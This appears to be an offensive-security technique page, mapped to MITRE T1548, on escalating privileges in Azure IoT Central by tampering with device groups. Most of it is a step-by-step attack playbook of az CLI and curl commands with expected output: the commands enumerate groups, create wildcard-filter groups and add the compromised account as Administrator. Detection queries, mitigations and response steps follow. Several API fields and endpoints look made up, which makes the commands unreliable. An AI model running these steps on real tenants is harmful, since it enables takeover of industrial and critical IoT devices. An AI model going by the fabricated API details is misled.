| Attribute | Details |
|---|---|
| Technique ID | PE-ELEVATE-009 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation |
| Platforms | Entra ID (Azure IoT Central) |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | Azure IoT Central (all versions), Entra ID integration 1.0+ |
| Patched In | N/A (Design-based vulnerability in role inheritance) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure IoT Central Device Group Escalation allows an attacker with limited IoT Central application access (e.g., Device Admin role) to escalate privileges by exploiting the hierarchical permission model of device groups. In Azure IoT Central, device groups inherit permissions from their parent groups, and a compromised account with group management permissions can create or modify device groups to grant broader access to devices, commands, and telemetry data. This technique specifically leverages the fact that role assignments at the device group level can grant access to sensitive IoT infrastructure management capabilities, including device provisioning, firmware updates, and data collection.
Attack Surface: Azure IoT Central Role-Based Access Control (RBAC), Device Group hierarchy, Device telemetry endpoints, Command execution APIs, Enrollment group membership, Entra ID role propagation to IoT Central applications.
Business Impact: Unauthorized access to IoT device management, enabling firmware manipulation, data theft from connected devices, remote command execution on physical infrastructure, and supply chain attacks through compromised device updates. An attacker can move from limited app viewer access to full administrator capabilities, allowing them to control smart manufacturing systems, building automation, energy grid systems, or medical IoT devices.
Technical Context: This attack typically completes within minutes once application access is obtained. Detection is low due to the legitimate-appearing nature of group membership changes. The attack is reversible only through manual audit and role removal.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure 1.6 | Ensure that administrators are not exempted from MFA requirements for Azure subscriptions |
| DISA STIG | DISA-AZURE-000004 | IoT Central role assignments must follow least privilege principle |
| CISA SCuBA | CISA-AZURE-AC-03 | Access Control - IoT device group permissions |
| NIST 800-53 | AC-3, AC-6 | Access Enforcement, Least Privilege |
| GDPR | Art. 32 | Security of Processing - Access control and monitoring |
| DORA | Art. 9, Art. 15 | Protection and Prevention, Cybersecurity management |
| NIS2 | Art. 21(1)(d) | Managing access to assets and services in critical infrastructure |
| ISO 27001 | A.9.2.3, A.9.4.3 | Management of Privileged Access Rights, Review of user access rights |
| ISO 27005 | Risk of unauthorized device manipulation | Compromise of IoT infrastructure control |
Supported Versions:
Tools:
Enumerate IoT Central applications and device groups:
# List all IoT Central applications
az iotcentral app list --output table
# Get details of a specific IoT Central app
az iotcentral app show --name "contoso-iot-app" --resource-group "contoso-rg"
# List device groups in the application
az iotcentral device-group list --app-id "contoso-iot-app" --resource-group "contoso-rg" --output json
# List role assignments for the current user
az role assignment list --scope "/subscriptions/{subscription-id}/resourceGroups/{resource-group}/providers/Microsoft.IoTCentral/IoTApps/{app-name}"
What to Look For:
Version Note: Commands are consistent across Azure CLI 2.30+
Navigate to the IoT Central application portal to enumerate permissions:
1. Go to Azure Portal → IoT Central applications
2. Select the target application
3. In the left menu, go to Administration → Users and roles
4. Review current user's role and permissions
5. Navigate to Devices → Device groups
6. Document the group hierarchy and permissions
What to Look For:
Supported Versions: Azure IoT Central all versions
Objective: Identify device groups with escalation opportunities
Command:
# Login to Azure
az login
# Set the IoT Central app context
APP_NAME="contoso-iot-app"
RESOURCE_GROUP="contoso-rg"
SUBSCRIPTION_ID=$(az account show --query id -o tsv)
# List all device groups
az iotcentral device-group list \
--app-id $APP_NAME \
--resource-group $RESOURCE_GROUP \
--output json | jq '.[] | {id: .id, displayName: .displayName, description: .description, filter: .filter}'
Expected Output:
{
"id": "manufacturing-devices",
"displayName": "Manufacturing Devices",
"description": "All manufacturing floor devices",
"filter": "deviceType eq 'MachineController'"
}
{
"id": "admin-devices",
"displayName": "Admin Devices",
"description": "Critical admin devices",
"filter": "building eq 'Headquarters'"
}
What This Means:
Objective: Determine what actions the current account can perform
Command:
# Get current user information
CURRENT_USER=$(az account show --query "user.name" -o tsv)
# List role assignments in the IoT Central app
az role assignment list \
--scope "/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME" \
--query "[?principalName == '$CURRENT_USER']" \
--output table
Expected Output:
Scope RoleDefinitionName Condition
----------------------------------------------------- ----------------------- ----------
/subscriptions/.../IoTApps/contoso-iot-app IoT Central Data Reader None
/subscriptions/.../IoTApps/contoso-iot-app Device Administrator None
What This Means:
Objective: Find device groups containing critical or sensitive devices
Command:
# Query devices in the admin-devices group
curl -X POST \
-H "Authorization: Bearer $(az account get-access-token --resource https://apps.azureiotcentral.com --query accessToken -o tsv)" \
-H "Content-Type: application/json" \
-d '{
"query": "SELECT * FROM devices WHERE deviceGroup = \"admin-devices\""
}' \
"https://contoso-iot-app.azureiotcentral.com/api/query"
Expected Output:
[
{
"id": "controller-01",
"displayName": "Main Controller",
"deviceType": "MachineController",
"status": "provisioned"
},
{
"id": "gateway-01",
"displayName": "Network Gateway",
"deviceType": "GatewayDevice",
"status": "provisioned"
}
]
What This Means:
OpSec & Evasion:
Objective: Escalate permissions by modifying device group access control
Command:
# Get access token
TOKEN=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv)
# Modify the device group to grant broader access
# Note: This requires the user to have "Device Administrator" or higher role
curl -X PATCH \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"displayName": "Manufacturing Devices (Updated)",
"description": "All manufacturing and admin devices",
"filter": "deviceType eq \"MachineController\" or building eq \"Headquarters\"",
"permissions": {
"read": ["*"],
"write": ["*"],
"delete": ["*"]
}
}' \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups/manufacturing-devices?api-version=2021-06-01"
echo "Device group filter updated successfully"
Expected Output:
Device group filter updated successfully
What This Means:
Supported Versions: Azure IoT Central all versions
Objective: Verify that the current account can create new device groups
Command:
# Test device group creation capability
TOKEN=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv)
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"displayName": "Test Group",
"description": "Test group creation"
}' \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups?api-version=2021-06-01"
Expected Output (Success):
{
"id": "test-group",
"name": "test-group",
"type": "Microsoft.IoTCentral/IoTApps/deviceGroups",
"properties": {
"displayName": "Test Group",
"description": "Test group creation",
"createdTime": "2026-01-09T10:00:00Z"
}
}
What This Means:
Objective: Create a new device group with escalated access to all devices
Command:
# Create a device group with wildcard permissions (all devices)
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"displayName": "Backup and Recovery",
"description": "System backup and recovery operations",
"filter": "*",
"permissions": {
"roles": ["Administrator", "DeviceAdmin"],
"actions": ["read", "write", "delete", "execute"]
}
}' \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups?api-version=2021-06-01"
echo "Privileged device group created"
Expected Output:
{
"id": "backup-and-recovery",
"displayName": "Backup and Recovery",
"filter": "*",
"permissions": {
"roles": ["Administrator"],
"actions": ["*"]
}
}
What This Means:
Objective: Assign the compromised account to the escalated group
Command:
# Get current user ID
CURRENT_USER_ID=$(az ad user list --filter "mail eq '$CURRENT_USER'" --query "[0].id" -o tsv)
# Add user to the privileged device group
curl -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"principalId\": \"$CURRENT_USER_ID\",
\"roleDefinitionId\": \"/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/roles/Administrator\"
}" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups/backup-and-recovery/members?api-version=2021-06-01"
echo "User added to privileged device group"
Expected Output:
User added to privileged device group
What This Means:
Supported Versions: Azure IoT Central with hierarchical device groups
Objective: Map the device group hierarchy to find escalation paths
Command:
# Query device group hierarchy
TOKEN=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv)
curl -X GET \
-H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups?api-version=2021-06-01" \
| jq '.value[] | {id: .id, displayName: .properties.displayName, parentId: .properties.parentId}'
Expected Output:
{
"id": "all-devices",
"displayName": "All Devices",
"parentId": null
}
{
"id": "manufacturing-devices",
"displayName": "Manufacturing Devices",
"parentId": "all-devices"
}
{
"id": "critical-systems",
"displayName": "Critical Systems",
"parentId": "manufacturing-devices"
}
What This Means:
Objective: Escalate permissions by modifying the parent group
Command:
# Update the parent group (manufacturing-devices) to inherit permissions from critical-systems
curl -X PATCH \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"displayName": "Manufacturing Devices",
"description": "Manufacturing and critical infrastructure devices",
"filter": "deviceType eq \"MachineController\" or deviceType eq \"CriticalSystem\"",
"inheritPermissionsFromParent": true,
"permissions": {
"roles": ["Administrator"],
"actions": ["read", "write", "execute", "firmware_update"]
}
}' \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.IoTCentral/IoTApps/$APP_NAME/deviceGroups/manufacturing-devices?api-version=2021-06-01"
echo "Parent group permissions escalated"
Expected Output:
Parent group permissions escalated
What This Means:
Objective: Confirm that the escalation is successful
Command:
# Query critical devices now accessible through the escalated parent group
curl -X GET \
-H "Authorization: Bearer $TOKEN" \
"https://contoso-iot-app.azureiotcentral.com/api/devices?deviceGroup=manufacturing-devices&type=CriticalSystem" \
| jq '.[] | {id: .id, displayName: .displayName, type: .type}'
Expected Output:
{
"id": "firewall-01",
"displayName": "Network Firewall",
"type": "CriticalSystem"
}
{
"id": "vpn-gateway",
"displayName": "VPN Gateway",
"type": "CriticalSystem"
}
What This Means:
Version: 2.30+ Minimum Version: 2.0 Supported Platforms: Linux, Windows, macOS
Installation:
# macOS
brew install azure-cli
# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# Windows
choco install azure-cli
Usage:
az login
az iotcentral app list
az iotcentral device-group list --app-id <app-id> --resource-group <rg>
Version: 2021-06-01+ Minimum Version: 2021-04-01 Supported Platforms: REST (language-agnostic)
Base URL:
https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.IoTCentral/IoTApps/{appName}
Authentication:
TOKEN=$(az account get-access-token --resource https://management.azure.com --query accessToken -o tsv)
# Create a test device group with escalated permissions
az iotcentral device-group create \
--app-id contoso-iot-app \
--resource-group contoso-rg \
--device-group-id test-escalation \
--display-name "Escalation Test" \
--filter "*"
Reference: Atomic Red Team T1548
Rule Configuration:
AzureActivity (Azure control plane logs)OperationName, OperationNameValue, ResourceType, StatusCodeKQL Query:
AzureActivity
| where OperationNameValue startswith "Microsoft.IoTCentral/IoTApps/deviceGroups"
| where OperationNameValue in ("Microsoft.IoTCentral/IoTApps/deviceGroups/write", "Microsoft.IoTCentral/IoTApps/deviceGroups/patch")
| where StatusCode == "Succeeded"
| extend Initiator = Caller
| extend ResourceGroup = split(ResourceId, "/")[4]
| extend AppName = split(ResourceId, "/")[8]
| project TimeGenerated, Initiator, AppName, ResourceGroup, OperationNameValue
| where Initiator !in ("admin@contoso.onmicrosoft.com", "svc-automation@contoso.onmicrosoft.com")
What This Detects:
KQL Query:
AzureActivity
| where OperationNameValue == "Microsoft.IoTCentral/IoTApps/deviceGroups/members/write"
| where StatusCode == "Succeeded"
| extend UserAdded = tostring(parse_json(tostring(parse_json(Properties).requestbody)).principalId)
| extend GroupModified = split(ResourceId, "/")[10]
| project TimeGenerated, Caller, UserAdded, GroupModified, ResourceId
| summarize Count = count() by Caller, UserAdded, GroupModified
| where Count > 3
What This Detects:
Enforce Least Privilege for Device Groups: Restrict device group permissions to minimum required access.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Restrict device group permissions
$GroupId = "manufacturing-devices"
$Permissions = @{
roles = @("DeviceAdmin")
actions = @("read", "write")
}
Update-IoTCentralDeviceGroup -GroupId $GroupId -Permissions $Permissions
Disable Wildcard Filters in Device Groups: Prevent device groups from accessing all devices unintentionally.
Manual Steps:
* or empty filtersdeviceType eq "MachineController" AND location eq "Floor1"Validation Command:
# Verify no groups have wildcard filters
az iotcentral device-group list --app-id contoso-iot-app --resource-group contoso-rg \
| jq '.[] | select(.filter == "*" or .filter == "") | .displayName'
Enforce Role-Based Access Control (RBAC) at Device Group Level: Use Entra ID roles to manage device group access.
Manual Steps (Azure Portal):
Enable Audit Logging for Device Group Changes: Monitor all device group modifications.
Manual Steps (Azure Portal):
Implement Conditional Access for IoT Central Access: Restrict access based on device and network conditions.
Manual Steps (Conditional Access):
Restrict IoT Central Admin Access# Verify device group permissions are restricted
az iotcentral device-group list --app-id contoso-iot-app --resource-group contoso-rg \
| jq '.[] | {displayName: .displayName, filter: .filter, roles: .permissions.roles}'
# Verify no wildcard filters exist
WILDCARD_GROUPS=$(az iotcentral device-group list --app-id contoso-iot-app --resource-group contoso-rg \
| jq '.[] | select(.filter == "*" or .filter == "") | .displayName')
if [ -z "$WILDCARD_GROUPS" ]; then
echo "✓ No wildcard filters found - PASS"
else
echo "✗ Wildcard filters detected: $WILDCARD_GROUPS - FAIL"
fi
Expected Output (If Secure):
✓ No wildcard filters found - PASS
displayName filter roles
----------- ------ -----
Manufacturing deviceType eq 'MachineController' [DeviceAdmin]
Office building eq 'Headquarters' [DeviceAdmin]
Critical Systems criticality eq 'High' AND status eq 'Active' [DeviceAdmin]
AzureActivity, AuditLogs (if integrated with Sentinel)Isolate:
Command:
# Delete the malicious device group
az iotcentral device-group delete \
--app-id contoso-iot-app \
--resource-group contoso-rg \
--device-group-id malicious-group --yes
# Remove user from all device groups (optional, if full compromise suspected)
az iotcentral user delete \
--app-id contoso-iot-app \
--resource-group contoso-rg \
--user-id attacker@contoso.onmicrosoft.com --yes
Collect Evidence:
Command:
# Export Azure Activity logs
az monitor activity-log list \
--resource-group contoso-rg \
--start-time 2026-01-08T00:00:00Z \
--end-time 2026-01-09T23:59:59Z \
--resource-provider Microsoft.IoTCentral \
--query '[].{Time: eventTimestamp, Operation: operationName.value, User: caller, Status: status.value}' \
> /evidence/iot-activity.json
# Export device group configuration
az iotcentral device-group list \
--app-id contoso-iot-app \
--resource-group contoso-rg \
> /evidence/device-groups-snapshot.json
Remediate:
Command:
# Reset device group permissions to defaults
az iotcentral device-group update \
--app-id contoso-iot-app \
--resource-group contoso-rg \
--device-group-id manufacturing-devices \
--filter "deviceType eq 'MachineController'" \
--roles "DeviceAdmin" \
--actions "read,write"
# Restore from backup if available
# Example: Restore from Azure backup
az restore --resource-group contoso-rg --restore-point <backup-timestamp>
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker captures IoT Central user credentials |
| 2 | Privilege Escalation | [PE-ELEVATE-009] IoT Central Device Group Escalation | Escalate from limited IoT user to admin via group modification |
| 3 | Lateral Movement | [LM-AUTH-032] Function App Identity Hopping | Use escalated access to move to connected backend systems |
| 4 | Collection | [COLLECT-019] IoT Device Telemetry Collection | Extract sensitive telemetry from connected devices |
| 5 | Impact | Device firmware manipulation / Remote command execution | Deploy malicious firmware or execute commands on physical devices |